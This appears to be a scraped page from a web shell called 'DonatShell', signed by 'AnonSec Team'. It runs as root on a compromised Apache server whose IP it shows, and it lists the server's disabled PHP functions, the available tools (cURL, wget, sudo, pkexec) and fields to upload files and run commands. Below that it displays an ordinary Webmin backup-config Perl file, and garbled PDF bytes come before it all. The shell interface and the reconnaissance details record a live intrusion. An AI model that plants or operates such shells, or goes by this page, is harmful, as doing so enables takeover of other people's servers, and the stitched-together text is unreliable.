%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/backup-config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/backup-config/edit.cgi
#!/usr/bin/perl
# Show one scheduled backup

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
require './backup-config-lib.pl';
our (%in, %text, %gconfig);
&ReadParse();

my $backup;
if ($in{'new'}) {
	&ui_print_header(undef, $text{'edit_title1'}, "");
	$backup = { 'emode' => 0,
		    'email' => $gconfig{'webmin_email_to'},
		    'sched' => 1,
		    'mins' => 0,
		    'hours' => 0,
		    'days' => '*',
		    'months' => '*',
		    'weekdays' => '*' };
	}
else {
	&ui_print_header(undef, $text{'edit_title2'}, "");
	$backup = &get_backup($in{'id'});
	}

print &ui_form_start("save.cgi", "post");
print &ui_hidden("new", $in{'new'});
print &ui_hidden("id", $in{'id'});

my @tds = ( "width=20% nowrap" );
print &ui_hidden_table_start($text{'edit_header'}, "width=100%", 2,
			     "main", 1, \@tds);

# Show modules to backup
my @mods = &list_backup_modules();
my @dmods = split(/\s+/, $backup->{'mods'});
print &ui_table_row($text{'edit_mods'},
		    &ui_select("mods", \@dmods,
		       [ map { [ $_->{'dir'}, $_->{'desc'} ] } @mods ],
		       10, 1));

# Show destination
print &ui_table_row($text{'edit_dest'},
		    &show_backup_destination("dest", $backup->{'dest'}, 0));

# Show files to include
print &ui_table_row($text{'edit_what'},
		    &show_backup_what("what", $backup->{'configfile'},
					      $backup->{'nofiles'},
					      $backup->{'others'}));

print &ui_hidden_table_end();

print &ui_hidden_table_start($text{'edit_header2'}, "width=100%", 2,
			     "prepost", 0, \@tds);

# Show pre-backup command
print &ui_table_row($text{'edit_pre'},
		    &ui_textbox("pre", $backup->{'pre'}, 60));

# Show post-backup command
print &ui_table_row($text{'edit_post'},
		    &ui_textbox("post", $backup->{'post'}, 60));

print &ui_hidden_table_end();

print &ui_hidden_table_start($text{'edit_header3'}, "width=100%", 2,
			     "sched", 0, \@tds);

# Show email address
print &ui_table_row($text{'edit_email'},
		    &ui_textbox("email", $backup->{'email'}, 40));

# Show email mode
print &ui_table_row($text{'edit_emode'},
		    &ui_radio("emode", $backup->{'emode'},
			      [ [ 0, $text{'edit_emode0'} ],
				[ 1, $text{'edit_emode1'} ] ]));

# Show schedule
my $job;
if ($backup) {
	$job = &find_cron_job($backup);
	}
print &ui_table_row($text{'edit_sched'},
		    &ui_radio("sched", $job || $in{'new'} ? 1 : 0,
			      [ [ 0, $text{'no'} ],
				[ 1, $text{'edit_schedyes'} ] ]));
print &cron::get_times_input($backup);

print &ui_hidden_table_end();
if ($in{'new'}) {
	print &ui_form_end([ [ 'create', $text{'create'} ] ], "100%");
	}
else {
	print &ui_form_end([ [ 'save', $text{'save'} ],
			     [ 'run', $text{'edit_run'} ],
			     [ 'delete', $text{'delete'} ] ], "100%");
	}

&ui_print_footer("", $text{'index_return'});



Anon7 - 2022
AnonSec Team